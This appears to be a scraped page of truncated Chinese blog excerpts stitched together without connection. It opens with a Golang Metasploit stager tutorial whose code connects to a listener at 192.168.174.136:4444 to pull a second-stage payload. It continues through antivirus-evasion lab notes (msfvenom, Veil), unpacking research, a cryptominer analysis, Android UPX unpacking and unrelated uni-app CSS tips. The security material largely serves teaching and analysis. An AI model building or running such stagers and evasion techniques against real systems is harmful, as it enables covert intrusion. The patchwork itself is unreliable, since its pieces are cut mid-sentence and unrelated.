upx

msf stagers开发不完全指北(二)

删除回忆录丶 提交于 2020-08-18 05:17:39
采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一) 中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang 实现同样的功能 思路梳理 在 Golang 中一点比较重要的是,我们如何能够获取到 socket 的文件描述符,除此之外,我们还是同样的步骤 向 msf 监听地址发起 tcp 请求 获取 stages 将 socket fd 放入寄存器 edi 从起始地址开始执行 stages 编译环境 OS: Windows 10 Golang: go version go1.14.1 windows/amd64 获取stages socket, err := net.Dial("tcp", "192.168.174.136:4444") if err != nil { return err } // read payload size var payloadSizeRaw = make([]byte, 4) numOfBytes, err := socket.Read(payloadSizeRaw) if err != nil { return err } if numOfBytes != 4 { return errors.New("Number of size bytes was not

2019-2020-2 网络对抗技术 20174326旦增列措 EXP3 免杀原理与实践

坚强是说给别人听的谎言 提交于 2020-08-17 02:47:45
2019-2020-2 网络对抗技术 20174326旦增列措 EXP3 免杀原理与实践 1.实验环境 PC机一台,安装有win10系统 ,作为靶机进行实测 安装的kali虚拟机,作为攻击机 kali虚拟机安装有veil-evasion win10系统有windows Defender作为杀软. 检测网站是VirusTotal 实验准备即相关知识 VirusTotal、Virscan 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。 链接如下: VirusTotal Virscan Msfvenom使用编码器 Msfvenom是Metasploit平台下用来编码payloads免杀的工具。 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。 Veil-Evasion Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。 C语言调用Shellcode 就是一个半手工打造恶意软件的例子。 加壳 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码

全国大学生信息安全竞赛三等奖virusTotal论文展示

烂漫一生 提交于 2020-08-14 13:18:31
基于API调用行为的二进制通用脱壳方法 注:本人去年参赛的作品,欢迎大家对不足之处提出宝贵的意见,谢谢。 完整图文论文请看我的另一篇博客: https://blog.csdn.net/ITxiaoangzai/article/details/106156192 摘要 加壳技术被广泛应用于恶意代码的自我保护,用于对抗躲避反病毒软件的检测,使得反病毒软件检测率大大降低。所以设计一个能够自动化的通用脱壳系统具有重要的理论和现实意义。 基于上述动机,本文设计和实现了基于API调用行为的二进制通用脱壳系统。本系统利用加壳代码"先重建后调用"的API调用行为特征进行脱壳。整个系统采用B/S架构模式。Browser端负责上传样本到Server端以及向用户反馈分析结果;Server端接收样本后,在沙盒环境中动态运行,通过监控"先重建后调用"的API调用行为特征进行动态脱壳。 本文实现了原型系统VirusMore()。实验结果表明,VirusMore能广泛用于不同的软件壳并进行成功脱壳,提高反病毒软件检测恶意代码的准确率和降低对正常程序的误报率。 第一章 作品概述 1.1 背景分析 伴随着信息技术的不断发展,网络给人们带来便利的同时,网络安全威胁问题也日益突出,网络安全风险不断向政治、经济、文化、社会、生态和国防等各个领域传导渗透。据CNCERT抽样监测,2018年

记一次有趣的挖矿病毒

自闭症网瘾萝莉.ら 提交于 2020-08-11 11:31:42
0 前言 本病毒使用了去符号表、敏感信息混淆、int 0x80执行系调函数、sh -c 执行bash脚本获取相关信息等技术来做免杀处理,但是不足的点也很明显: 1)top命令可以直接查看病毒进程占用cpu比率。 2)crontab -l可以发现病毒的定时任务。 3)没有去掉特征字符,核心代码修改自github某著名挖矿源码。 注:由于网络安全法的规定,本文未将病毒链接放出。 1 背景 某一天,一个朋友突然微信过来一个病毒(绝对不是无中生友~)。截图是朋友给的检查结果以及时间。看图的样子,这个病毒静态检测起来比较复杂?? 2 病毒分析 拿到病毒第一件事,查壳。还好,这个病毒只是一个标准的压缩壳,没有做什么大的变化。 (x86版本x64版本代码一样,习惯用x86分析) 脱壳:upx –d filename 一切顺利。如果病毒作者自己修改upx的壳的话,标准的upx –d是脱不掉的,需要单步跟随一步步dump吧。病毒分析是一个耐心的活,考验的是细心。还有一点,此病毒全程没有符号表,这给逆向的人员带来很多麻烦,很多函数都需要一点点跟进才行。对于linux病毒,如果单纯使用gdb调试的话,很容易陷入局部,不能整体把控。此时,IDA的动态调试功能就凸显出来了。使用IDA的动态调试既简单又有效,可以节省大量时间。 方法: 1)将ida dbgsrv目录下的linux

手脱定制版的android SO UPX壳

↘锁芯ラ 提交于 2020-08-09 13:25:57
一 前言 加固厂商SO的加壳,一般都是采用UPX壳实现的。如果用原生的进行加壳,可以使用原生UPX进行脱壳。但是对于定制的UPX壳使用原生UPX是无法脱壳的。定制版的UPX一般有以下2种形式: 1 将里面的魔术字符串改掉。下图是UPX源码中定义的魔术字以及修改后的例子: 源码中的魔术字 修改后的例子 2 加密算法改掉或数据结构进行更改。 这里讨论是如何手脱一个定制的UPX壳,尤其是更改加密算法或者数据结构的定制的UPX壳(以AJM为例)。先看一下脱壳后的样子: 脱壳前 脱壳后 二 UPX壳loader 加壳一般需要加密和解密2个过程,UPX壳也不例外。UPX壳的解密是由 upx loader实现的。在UPX加壳过程中,将loader放在init段,确保loader先获得程序执行的控制权。 Loader程序是由汇编代码实现的,下面是upx源码中针对arm平台的汇编代码: 在 dynamic段中,init标志值为:0x0C,见下图: 下面是loader在dynamic中的位置: 当loader开始运行时的步骤如下: 从loader执行流程可以看到如下: 1、loader是由汇编代码内嵌实现的,因此要解决重定位的问题,所以其中的函数调用都是使用系统调用实现的,比如mmap 以及mprotect等函数。 2、loader 程序要将加密数据解密,解密后的数据要覆盖加密数据。 3

JZOJ5058. 采蘑菇

依然范特西╮ 提交于 2020-08-08 18:48:25
JZOJ5058. 【GDSOI2017模拟4.13】采蘑菇 题目描述: A君住在魔法森林里,魔法森林可以看做一棵n个结点的树,结点从1~n编号。树中的每个结点上都生长着蘑菇。蘑菇有许多不同的种类,但同一个结点上的蘑菇都是同一种类,更具体地,i号结点上生长着种类为c[i]的蘑菇。 现在A君打算出去采蘑菇,但他并不知道哪里的蘑菇更好,因此他选定起点s后会等概率随机选择树中的某个结点t作为终点,之后从s沿着(s,t)间的最短路径走到t.并且A君会采摘途中所经过的所有结点上的蘑菇。 现在A君想知道,对于每一个结点u,假如他从这个结点出发,他最后能采摘到的蘑菇种类数的期望是多少。为了方便,你告诉A君答案*n的值即可。 数据范围: 30%的数据:n <= 2000 另有20%的数据:给出的第i条边为{i,i+1} 另有20%的数据:蘑菇的种类最多3种 100%的数据:1 <= n <= 3*10^5 , 0 <= c[i] <= n 这道题有虚数做法,有换根线段树做法,也有点分治做法。 它们(除了虚树,因为我并不会)都带有一只log。虽然这道题时限比较宽松,但是有一位dalao想出了O(n)的做法。 我们随便取一个点为根。 定义一下: s z x sz_{x} s z x ​ 为以 x x x 为根的子树的大小, u p x up_{x} u p x ​ 为从 x x x 到根的路径上,离

uni-app开发中的各种问题处理

点点圈 提交于 2020-08-05 13:56:00
特别注意:   ※:在components下的组件,图片路径用 /static/img/back.png 这样的根路径形式,不要用../static 或者 ../../static 的形式,不然很坑,有些平台不报错也不显示,有些找不到路径。 tips:防止弹窗遮罩时页面可滚动,在弹窗的外层view标签加上 @touchmove.stop.prevent=""   1、关于自定义导航栏中的刘海屏适配问题: 官方提供了一个CSS变量可以直接引用: var(--status-bar-height) 该变量自动匹配设备平台状态栏高度 此变量可以用calc() 加上其他单位数值来使用 具体参数和说明: 官方使用自定义导航栏注意事项 2、swiper中高度无法自适应时,采用动态获取节点赋值给外层swiper组件 uni.createSelectorQuery()后加.in(this)可以防止app端出错 < swiper :indicator-dots ="true" :style ="{height:listHeight+'px'}" :autoplay ="false" :interval ="3000" :duration ="1000" > </ swiper >   var _self; export default { data() { return { listHeight:

实现列表瀑布流布局(纯css或js定位)

倖福魔咒の 提交于 2020-07-28 12:26:16
前言:最近项目好几个都怼到一起,导致好久没有更新了。这里就简单记录下这段时间常常要写的瀑布流列表 纯css实现: 直接上代码 < style lang = "scss" > . post - list { /* 列表设置,2列;列间距4*/ - webkit - column - count : 2 ; - webkit - column - gap : 16upx ; padding : 30upx 16upx ; . post - li { - webkit - column - break - inside : avoid ; /* 单个设置*/ } } < / style > 效果:竖向排列,并且在排列中,会尽量使得两列的高度相近 竖向排列.png 所以这样的实现并不能用于列表分页加载。。。每次加载新页面,会使得整个列表重排。。。。 js动态排序: 还是用最近一直在写的uni-app写的,通过获取元素的高度进行绝对定位 还是上代码(数据) data ( ) { return { mescroll : null , //目前在用的上拉组件(别的组件也一样,原理基本相似) upOption : { //上拉组件配置 page : { size : 6 // 每页数据的数量,默认10 } , } , list : [ ] , //列表数据 mark : 0 , // 定位